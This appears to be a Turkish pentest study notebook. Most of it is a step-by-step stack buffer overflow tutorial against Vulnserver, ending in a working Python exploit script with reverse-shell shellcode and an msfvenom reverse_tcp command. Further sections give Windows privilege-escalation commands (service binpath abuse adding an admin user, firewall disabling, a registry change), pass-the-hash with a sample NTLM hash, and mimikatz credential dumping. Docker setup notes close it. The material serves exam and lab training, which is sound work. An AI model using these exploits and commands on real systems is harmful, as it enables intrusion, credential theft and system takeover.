Bu işlem için pattern üretilmelidir. Bunu birçok farklı şekilde yapmak mümkündür. Immunity Debugger'da kullanılan `mona` veya kalide bulunan `pattern_create veya pattern_offset` gibi araçlar kullanılabilir.

Mona modülünü kullanırken logların kaydedileceği dizini ayarlamak için aşağıda yer alan komut kullanılabilir.

```
!mona config -set workingfolder c:\logs\%p
```

1. mona ile;\
   `!mona pc <pattern_size>`
2. msf'de bulunan ruby aracı ile;\
   `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <pattern_size>`
3. /bin/msf-\* araçları ile;\
   `msf-pattern_create -l <pattern_size>`
4. Benzer amaçla yazılmış bir çok tool bulmak mümkündür. (Kali de /bin/msf-\* araçları da ayrıca vardır.)

EIP registarına yazılan değerin offset değerini bulmak için; 1. mona ile;\
`!mona po <pattern_value>`

1. msf'de bulunan ruby aracı ile; `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <pattern_size> -q <pattern_value>`
2. /bin/msf-\* araçları ile; `msf-patter_offset -q <pattern_value>`

### Badchar bulma;

EIP registerına ait offset değeri bulunduktan sonra badcharların bulunması gerekli. Badcharlar registerlarda bulunan veriler işlenirken özel olarak yorumlanan karakterlerdir. Bu durum bizim kullanacağımız zararlı shellcode'u etkileyeceği için bu tür karakterleri içermeyecek şekilde shellkodumuzu üretmeliyiz.

```
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
```

> Bu aşamada gönderilecek verimiz `"A" * <offset_value> + "B" * 4 + badchars` şeklinde olacaktır. badchar değişkeninin tuple olması önemlidir!

Stack alanını doldurduğumuzda yani `EAX, EBX, EIP` registarlarına yazdıktan sonra badcharların yazılacağı register `ESP` registerı olacaktır.

**Not ; ESP** Shellkodumuzu bu registara yazacağız. O yüzden bu registara yazılacak shellcodun içinde badchar olması durumunda shellcodumuz çalışmayacaktır. Bu sebepten badchar tespiti önemlidir.

### Uygun modulün bulunması

Shellcodumuz stack de bulunan `ESP` belirtiği alana yazılır. Bu sebeple bizim bu registara atlayan (JMP) komutun bellek adresine ihtiyacımız olacak. Yukarıda belirtildiği üzere `EIP` registerına yazabilmekteyiz. Biz de `EIP` registarına, `ESP` registarına zıplayan kodun bellek adresini yazacağız. Böylece kod `ÈIP` registarına geldiğinde burda `ESP` giden bellek adresini görecektir. `ESP` ye shellcodumuzu yazarak programın akışını değiştirip istediğimiz kodu çalıştırmış olacağız. Bu sebeple `ESP` registarına giden bir komutun bellek adresine ihtiyaç duymaktayız. Bunu bulmanın birçok farklı yolları vardır.

Öncellikler `!mona modules` diyerek uygulamamızın kullandığı modüllere bakacağız. Bu modüllerde herhangi bir memory proctection var mı? varsa hangileri gibi bilgiler bizim için önemli. Çıkan menüde memory protection olmayan modüller birincil odak noktamız olmalı.

Daha memory procteion olmayan modüllerin herhangi birinde `JMP ESP` kodunu arayacağız. Bunu yapmaktaki amacımız; bu komutun olduğu bellek adresini bulup `EIP` registerına yazmak. `EIP` bu bellek adresindeki komutu gösterdiğinde burdaki komut ile `ESP` sıçrayacaktır ve ordan da shellcodumuz çalışmış olacak.

> `JMP ESP` komutunun opcodu `FFE4` dür.

1. mona ile;\
   `!mona find -s “\xff\xe4” -m <module_name>`
2. ımmunity debugger ile;\
   `View > Executables modules > "module_name" X2 click > CTRL + F > search "JMP ESP" > note memmory adres!`

Bulunan değer `EIP` registarına yazılacak şekilde koda eklenmelidir. Kodun bu aşamadki hali;\
`"A" * <byte_size> + "<adress of JMP ESP>" + "\x90" * 8` olmalıdır.

**Not :** `JMP ESP` nin bellek adresi yazılırken little endian olduğu için tersten yazılmalıdır. Yani "A5F256CC" adresi "CC56F2A5" şeklinde yazılmalıdır.

### Shellcode üretme

Bu aşamada shellcodu üretip göndereceğimiz payloada ekleyeceğiz. Bunun için `msfvenom` aracını kullanacağız.

```
# msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -b "\x00" -f python -v shellcode
```

bu komutun sonucunda çıkan çıktıyı kodumuza aşağıdaki şekilde ekleyeceğiz.

`buffer = "A" * <byte_size> + "<address of JMP ESP>" + "\x90" * 8 + shellcode`

Payloadın nihai şekli yukarıdaki şekildedir.

### Get Reverse Shell

Artık tüm işlemler tamam olduğuna göre `nc` ile ilgili portu dinlemeye alıp exploit kodumuzu çalıştırmamız gerekecek.

`nc -vlp <port_number>`

**Dipnotlar;**

* badchars değişkeni tuple olmalıdır!
* "\x90" no operation komutudur. Kullanacağımız payloadın patlamaması için kesinlikle eklenmesi tavsiye edilir.
* shellcode üretilirken özellikle windows tarafından engellenmeyecek portlar kullanılması tavsiye edilir. 53, 80, 443 gibi sık kullanılan portlar kullanılmalıdır.

Bonus - Sample;

```python
#/usr/bin/python2
import sys, socket
from time import sleep

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode =  ""
shellcode += "\xdb\xc2\xbe\x8a\x7f\xb7\x29\xd9\x74\x24\xf4\x5f"
shellcode += "\x2b\xc9\xb1\x52\x31\x77\x17\x03\x77\x17\x83\x4d"
....
shellcode += "\x47\x3e\x84\xc2\x42\x7a\x02\x3f\x3f\x13\xe7\x3f"
shellcode += "\xec\x14\x22"

buffer = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 8 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.23', 9999))

s.send(("TRUN /.:/" + buffer))
s.close()
sleep(1)
#buffer = buffer + "A" * 100
print "Send %s" % str(len(buffer))
```


# BoF Links

### Vulnserver writeup (Example 1)

{% embed url="<https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/>" %}

## ##PCMan FTP Server 2.0.7 (Example 2)

{% embed url="<https://www.hebunilhanli.com/wonderland/bof-101/>" %}

#### !mona.py usage

{% embed url="<https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/>" %}

### Tutorial

{% embed url="<https://bufferoverflows.net/exploiting-vanilla-buffer-overflow-in-vulnserver-trun-command/>" %}

{% embed url="<https://samsclass.info/127/proj/p18-spike.htm>" %}

{% embed url="<http://sh3llc0d3r.com/vulnserver-fuzzing-with-spike/>" %}

{% embed url="<https://blog.certcube.com/oscp-detail-guide-to-stack-based-buffer-overflow-4/>" %}

Seh based;

{% embed url="<http://sh3llc0d3r.com/vulnserver-gmon-command-seh-based-overflow-exploit/>" %}


# Samples

```
#!/bin/bash
for url in $(cat cisco.txt);do
host $url |grep "has address" | cut -d" " -f4
done
```

```
#!/bin/bash

for ip in $(seq 200 210); do    # seq gets 200 201 202...
ping -c 1 192.168.31.$ip | grep "bytes from" | cut -d " " -f4| cut -d ":" -f1 &        # ping all ips with in the range of 200 - 210 with 1(c) packet     
done

```


# keepnote

**file transfer;**

{% embed url="<https://blog.ropnop.com/transferring-files-from-kali-to-windows/>" %}

**Winpriv check:**

&#x20;<https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat>

**Local Privilege Escalation Abusing Misconfiguration Service (upnphost):**&#x20;

> accesschk.exe -uwcqv "Authenticated Users" */accepteula accesschk-xp.exe -uwcqv "Authenticated Users"* /accepteula
>
> accesschk.exe -ucqv upnphost\
> sc config upnphost depend= ""\
> sc config upnphost binpath= "net user testxlab Password1 /add" sc config upnphost binpath= "net localgroup Administrators testxlab /add"
>
> sc stop upnphost sc start upnphost

**File Transfer via FTP**

ftp > binary&#x20;

ftp> put /root/Downloads/accesschk.exe accesschk.exe

cadaver <http://10.11.1.14/>

**Python Interactive Shell**

pty spawn python3 -c 'import pty;pty.spawn("/bin/bash")'

python -c 'import pty;pty.spawn("/bin/bash")'&#x20;

**Disable Windows firewall on newer versions:**\
`NetSh Advfirewall set allprofiles state off`

**Disable windows firewall on older windows:**\
`netsh firewall set opmode disable`

**Referans**

priv esc linux - hacking articler (abuse path variable.) <https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/> <https://www.siberportal.org/red-team/linux-penetration-tests/linux-sizma-testlerinde-hak-yukseltme-yontemleri/>

priv esc - cronjob <https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/>

priv esc - windows - servisler - sc <https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/>

## PtH

`pth-winexe -U alice%aad3b435b51404eeaad3b435b51404ee:B74242F37E47371AFF835A6EBCAC4FFE //10.11.1.49 cmd.exe`

#### via sysinternals tools and mimikatz

* **PtH get user ntlm hash. (via RDP, MSF or other)**

```
mimikatz# privilege::debug 
mimikatz# privilege::minidump FILE.DMP 
mimikatz# sekurlsa::logonpasswords 
mimikatz# sekurlsa::pth /user:{USERNAME} /domain:{WORKGROUP or DOMAIN} /ntlm:{NTLM-HASH}
```

then open new cmd. you can run command via psexec.&#x20;

`windows> PsExec.exe \\{IP} cmd`

Tip: General usage with password:&#x20;

`PsExec.exe \\{IP} -u {DOMAIN\USERNAME} -p {PASSWORD} cmd`

if got "Couldn't access otherComputer: Access is denied." ERROR:

run the following command at target system:&#x20;

`reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f`


# Docker

### INSTALL

```
sudo apt-get update

sudo apt-get install  apt-transport-https  ca-certificates  curl  gnupg2  software-properties-common

sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" 

sudo apt-get update

Eger pubkey hatasi verirse asagidaki komutu kullan!
    - sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys <KEY>
    - sudo apt-get install docker-ce docker-ce-cli containerd.io
```

### synopsis

*\** imagelar için önce locale bakar. bulamaz ise dockerhub'dan çeker. yani pull etmeden run edebiliriz direk.

* Hello world!
* docker version
* docker pull hello-world
* docker images
* docker run  -d -> terminali detach et.
* docker ps -> çalisan containerlar
* docker ps -a -> çalisan ve duran history
* docker inspect 89c6f2ca8ba1 -> daha detayli sonuçlar
* docker start -a e139e975009f -> tekrar baslatmak için. -a attach demek.
* docker logs  -> detached olan containerlarin çiktilari görmek için.
* docker rm  ile container sileriz. -f ile çalisir durumda da olsa siler. \*"docker stop " durdurur.
* docker rmi&#x20;
* docker -p xport:yport images:ver.v -> -p xport:yport = hostun xportundan gelen istegi dockerin yportuna yönlendir.
* docker exec -it  /bin/bash -> -i interactiv -t terminal attach et.

### DOCKER COMPOSE

```
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose 

sudo chmod +x /usr/local/bin/docker-compose
```


# 50-cloud-init.yaml

```yaml
root@ubuntu:/home/ubuntu# cat /etc/netplan/50-cloud-init.yaml
# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot.  To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    ethernets:
        eth0:
            dhcp4: true
            optional: true
    version: 2
    wifis:
            wlan0:
                    optional: true
                    access-points:
                            "<SSID>":
                                    password: "<PASSWORD>"
                    dhcp4: true

```


